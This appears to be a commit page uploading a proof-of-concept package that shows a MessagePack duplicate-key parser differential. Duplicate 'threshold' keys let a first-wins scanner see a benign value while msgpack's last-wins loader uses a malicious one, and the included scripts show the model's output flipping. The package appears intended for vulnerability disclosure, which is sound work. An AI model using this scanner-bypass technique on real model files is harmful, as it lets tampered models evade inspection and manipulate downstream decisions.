shiyamganesh commited on
Commit
888f4e3
·
verified ·
1 Parent(s): 999a601

Upload 7 files

Browse files
msgpack_duplicate_key_mfv_poc_package/NO_CODE_EXECUTION_CLAIM.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ This PoC does not execute code. It demonstrates MessagePack duplicate-key parser differential and output manipulation.
msgpack_duplicate_key_mfv_poc_package/README.md ADDED
@@ -0,0 +1,25 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # MessagePack duplicate-key parser differential PoC
2
+
3
+ This repository contains a Model File Vulnerability PoC for the MessagePack (`.msgpack`) model format.
4
+
5
+ ## Files
6
+
7
+ - `duplicate_threshold_model.msgpack` — MessagePack model file with duplicate `threshold` keys.
8
+ - `control_model.msgpack` — normal control model file.
9
+ - `verify_msgpack_duplicate_key.py` — loads the model with msgpack and verifies output manipulation.
10
+ - `inspect_msgpack_duplicate_key.py` — demonstrates first-wins vs last-wins parser differential.
11
+ - `expected_output.json` — expected output.
12
+
13
+ ## Security claim
14
+
15
+ The malicious `.msgpack` model file contains duplicate top-level `threshold` keys. A first-wins scanner sees the benign threshold `0.99`, while Python `msgpack.unpackb()` collapses the map to a dict using the last duplicate value `-0.5`. The runtime threshold flips the model output for the same input.
16
+
17
+ This is not code execution. It is a model-file parser differential / scanner-bypass / output-manipulation PoC.
18
+
19
+ ## Reproduce
20
+
21
+ ```bash
22
+ pip install msgpack
23
+ python inspect_msgpack_duplicate_key.py
24
+ python verify_msgpack_duplicate_key.py
25
+ ```
msgpack_duplicate_key_mfv_poc_package/control_model.msgpack ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:b871aa38f9afb56dbc4dffa0aa297289c00d4628cbe25be4b0f324a314544efc
3
+ size 114
msgpack_duplicate_key_mfv_poc_package/duplicate_threshold_model.msgpack ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:9293d9360e3563f1b60527240128d41cc3f4f1af692297c9b85cf2ee6f881ad1
3
+ size 133
msgpack_duplicate_key_mfv_poc_package/expected_output.json ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ {
2
+ "verify_expected": {
3
+ "malicious_runtime_threshold": -0.5,
4
+ "control_threshold": 0.99,
5
+ "malicious_trigger_input_class": 1,
6
+ "control_trigger_input_class": 0,
7
+ "result": "duplicate-key MessagePack model accepted; runtime last-wins threshold flips output"
8
+ },
9
+ "inspect_expected": {
10
+ "first_wins_scanner_threshold": 0.99,
11
+ "last_wins_runtime_threshold": -0.5,
12
+ "msgpack_unpackb_threshold": -0.5
13
+ }
14
+ }
msgpack_duplicate_key_mfv_poc_package/inspect_msgpack_duplicate_key.py ADDED
@@ -0,0 +1,31 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ import json
3
+ import msgpack
4
+ from pathlib import Path
5
+
6
+ HERE = Path(__file__).resolve().parent
7
+ path = HERE / "duplicate_threshold_model.msgpack"
8
+ raw = path.read_bytes()
9
+
10
+ pairs = msgpack.unpackb(raw, raw=False, strict_map_key=False, object_pairs_hook=lambda pairs: pairs)
11
+
12
+ first_wins = {}
13
+ last_wins = {}
14
+ for k, v in pairs:
15
+ if k not in first_wins:
16
+ first_wins[k] = v
17
+ last_wins[k] = v
18
+
19
+ runtime = msgpack.unpackb(raw, raw=False, strict_map_key=False)
20
+
21
+ print("=== raw duplicate key pairs ===")
22
+ for idx, (k, v) in enumerate(pairs):
23
+ print(f"{idx}: {k!r} -> {v!r}")
24
+
25
+ print("\n=== parser differential ===")
26
+ print("first-wins scanner threshold:", first_wins["threshold"])
27
+ print("last-wins/runtime threshold :", last_wins["threshold"])
28
+ print("msgpack.unpackb threshold :", runtime["threshold"])
29
+
30
+ print("\n=== scanner risk ===")
31
+ print("A first-wins scanner sees threshold 0.99 (benign), while the runtime dict uses -0.5 (malicious).")
msgpack_duplicate_key_mfv_poc_package/verify_msgpack_duplicate_key.py ADDED
@@ -0,0 +1,44 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ import os
3
+ import json
4
+ import msgpack
5
+ from pathlib import Path
6
+
7
+ HERE = Path(__file__).resolve().parent
8
+
9
+ def load_runtime(path):
10
+ # Typical Python MessagePack runtime behavior: map becomes dict, duplicate keys collapse.
11
+ # In msgpack-python this keeps the last duplicate key value.
12
+ return msgpack.unpackb(Path(path).read_bytes(), raw=False, strict_map_key=False)
13
+
14
+ def infer(model, x):
15
+ score = sum(float(w) * float(v) for w, v in zip(model["weights"], x)) + float(model["bias"])
16
+ return int(score > float(model["threshold"]))
17
+
18
+ def main():
19
+ benign_input = [0.0, 0.0]
20
+ trigger_input = [0.0, 0.0]
21
+
22
+ malicious = load_runtime(HERE / "duplicate_threshold_model.msgpack")
23
+ control = load_runtime(HERE / "control_model.msgpack")
24
+
25
+ result = {
26
+ "malicious_runtime_threshold": malicious["threshold"],
27
+ "control_threshold": control["threshold"],
28
+ "malicious_benign_input_class": infer(malicious, benign_input),
29
+ "control_benign_input_class": infer(control, benign_input),
30
+ "malicious_trigger_input_class": infer(malicious, trigger_input),
31
+ "control_trigger_input_class": infer(control, trigger_input),
32
+ "claim": "duplicate-key MessagePack file is accepted by runtime unpacker; last duplicate threshold controls inference behavior",
33
+ }
34
+
35
+ print(json.dumps(result, indent=2))
36
+
37
+ assert malicious["threshold"] == -0.5, "runtime should retain last duplicate key"
38
+ assert control["threshold"] == 0.99
39
+ assert infer(control, trigger_input) == 0
40
+ assert infer(malicious, trigger_input) == 1
41
+ print("RESULT: duplicate-key MessagePack model was accepted; runtime used the last duplicate threshold and flipped output.")
42
+
43
+ if __name__ == "__main__":
44
+ main()